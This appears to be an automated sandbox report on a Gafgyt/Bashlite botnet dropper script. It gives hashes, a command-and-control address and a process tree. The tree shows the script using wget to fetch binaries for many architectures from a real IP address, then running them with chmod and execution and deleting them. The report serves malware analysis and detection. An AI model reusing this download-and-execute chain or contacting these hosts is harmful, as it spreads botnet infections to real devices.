Analysis

  • max time kernel
    4s
  • max time network
    131s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04/08/2024, 13:39

General

  • Target

    sex.sh

  • Size

    1KB

  • MD5

    4a5211253d90ad66dea73ffa8809bbd8

  • SHA1

    27c91298804fd2e46e280d4259170e6a48e4280d

  • SHA256

    bee780a07d3c76bc39ab97f88050339da7c3231987c32e14aca61515d7a0c276

  • SHA512

    a844fe1fdd89254ff069b0bc3fa3b5812936f9560f693cd6c5658f4232f42efc9e926a3d51bd152a16283c8ab322967f6f7686f536ea395047477661b9aad0eb

Score
10/10

Malware Config

Extracted

Family

gafgyt

C2

5.252.177.70:23

Signatures

  • Detected Gafgyt variant 1 IoCs
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

  • Executes dropped EXE 1 IoCs
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sex.sh
    /tmp/sex.sh
    1⤵
      PID:1480
      • /usr/bin/wget
        wget http://216.172.177.16/mips
        2⤵
          PID:1481
        • /bin/chmod
          chmod +x mips
          2⤵
            PID:1491
          • /tmp/mips
            ./mips
            2⤵
              PID:1492
            • /bin/rm
              rm -rf mips
              2⤵
                PID:1493
              • /usr/bin/wget
                wget http://216.172.177.16/mipsel
                2⤵
                  PID:1494
                • /bin/chmod
                  chmod +x mipsel
                  2⤵
                    PID:1495
                  • /tmp/mipsel
                    ./mipsel
                    2⤵
                      PID:1496
                    • /bin/rm
                      rm -rf mipsel
                      2⤵
                        PID:1497
                      • /usr/bin/wget
                        wget http://216.172.177.16/sh4
                        2⤵
                          PID:1498
                        • /bin/chmod
                          chmod +x sh4
                          2⤵
                            PID:1499
                          • /tmp/sh4
                            ./sh4
                            2⤵
                              PID:1500
                            • /bin/rm
                              rm -rf sh4
                              2⤵
                                PID:1501
                              • /usr/bin/wget
                                wget http://216.172.177.16/x86
                                2⤵
                                  PID:1502
                                • /bin/chmod
                                  chmod +x x86
                                  2⤵
                                    PID:1503
                                  • /tmp/x86
                                    ./x86
                                    2⤵
                                      PID:1504
                                    • /bin/rm
                                      rm -rf x86
                                      2⤵
                                        PID:1505
                                      • /usr/bin/wget
                                        wget http://216.172.177.16/arm61
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:1506
                                      • /bin/chmod
                                        chmod +x arm61
                                        2⤵
                                          PID:1515
                                        • /tmp/arm61
                                          ./arm61
                                          2⤵
                                          • Executes dropped EXE
                                          PID:1516
                                        • /bin/rm
                                          rm -rf arm61
                                          2⤵
                                            PID:1518
                                          • /usr/bin/wget
                                            wget http://216.172.177.16/i686
                                            2⤵
                                              PID:1519
                                            • /bin/chmod
                                              chmod +x i686
                                              2⤵
                                                PID:1520
                                              • /tmp/i686
                                                ./i686
                                                2⤵
                                                  PID:1521
                                                • /bin/rm
                                                  rm -rf i686
                                                  2⤵
                                                    PID:1522
                                                  • /usr/bin/wget
                                                    wget http://216.172.177.16/ppc
                                                    2⤵
                                                      PID:1523
                                                    • /bin/chmod
                                                      chmod +x ppc
                                                      2⤵
                                                        PID:1524
                                                      • /tmp/ppc
                                                        ./ppc
                                                        2⤵
                                                          PID:1525
                                                        • /bin/rm
                                                          rm -rf ppc
                                                          2⤵
                                                            PID:1526
                                                          • /usr/bin/wget
                                                            wget http://216.172.177.16/586
                                                            2⤵
                                                              PID:1527
                                                            • /bin/chmod
                                                              chmod +x 586
                                                              2⤵
                                                                PID:1528
                                                              • /tmp/586
                                                                ./586
                                                                2⤵
                                                                  PID:1529
                                                                • /bin/rm
                                                                  rm -rf 586
                                                                  2⤵
                                                                    PID:1530
                                                                  • /usr/bin/wget
                                                                    wget http://216.172.177.16/m68k
                                                                    2⤵
                                                                      PID:1531
                                                                    • /bin/chmod
                                                                      chmod +x m68k
                                                                      2⤵
                                                                        PID:1532
                                                                      • /tmp/m68k
                                                                        ./m68k
                                                                        2⤵
                                                                          PID:1533
                                                                        • /bin/rm
                                                                          rm -rf m68k
                                                                          2⤵
                                                                            PID:1534
                                                                          • /usr/bin/wget
                                                                            wget http://216.172.177.16/dc
                                                                            2⤵
                                                                              PID:1535
                                                                            • /bin/chmod
                                                                              chmod +x dc
                                                                              2⤵
                                                                                PID:1536
                                                                              • /tmp/dc
                                                                                ./dc
                                                                                2⤵
                                                                                  PID:1537
                                                                                • /bin/rm
                                                                                  rm -rf dc
                                                                                  2⤵
                                                                                    PID:1538
                                                                                  • /usr/bin/wget
                                                                                    wget http://216.172.177.16/dss
                                                                                    2⤵
                                                                                      PID:1539
                                                                                    • /bin/chmod
                                                                                      chmod +x dss
                                                                                      2⤵
                                                                                        PID:1540
                                                                                      • /tmp/dss
                                                                                        ./dss
                                                                                        2⤵
                                                                                          PID:1541
                                                                                        • /bin/rm
                                                                                          rm -rf dss
                                                                                          2⤵
                                                                                            PID:1542
                                                                                          • /usr/bin/wget
                                                                                            wget http://216.172.177.16/co
                                                                                            2⤵
                                                                                              PID:1543
                                                                                            • /bin/chmod
                                                                                              chmod +x co
                                                                                              2⤵
                                                                                                PID:1544
                                                                                              • /tmp/co
                                                                                                ./co
                                                                                                2⤵
                                                                                                  PID:1545
                                                                                                • /bin/rm
                                                                                                  rm -rf co
                                                                                                  2⤵
                                                                                                    PID:1546
                                                                                                  • /usr/bin/wget
                                                                                                    wget http://216.172.177.16/scar
                                                                                                    2⤵
                                                                                                      PID:1547
                                                                                                    • /bin/chmod
                                                                                                      chmod +x scar
                                                                                                      2⤵
                                                                                                        PID:1548
                                                                                                      • /tmp/scar
                                                                                                        ./scar
                                                                                                        2⤵
                                                                                                          PID:1549
                                                                                                        • /bin/rm
                                                                                                          rm -rf scar
                                                                                                          2⤵
                                                                                                            PID:1550

                                                                                                        Network

                                                                                                              MITRE ATT&CK Matrix

                                                                                                              Replay Monitor

                                                                                                              Loading Replay Monitor...

                                                                                                              Downloads

                                                                                                              • /tmp/arm61

                                                                                                                Filesize

                                                                                                                136KB

                                                                                                                MD5

                                                                                                                6820e48a7c8f9b287da8f0593b0a8f83

                                                                                                                SHA1

                                                                                                                4e5dc35c941c1d13cd9dcbcf5df2a6d5e254911f

                                                                                                                SHA256

                                                                                                                eb052830d4b1f9ab763bc4febbd94207d10f39b5e8b456a092fb733e9168d811

                                                                                                                SHA512

                                                                                                                0dd5236a98a9a05087442d3bbe0c8185712b295288be41ccb815965607d90bfef2943f2b488dd76260959895831986397907408850d719808cd1cc30dba63d1c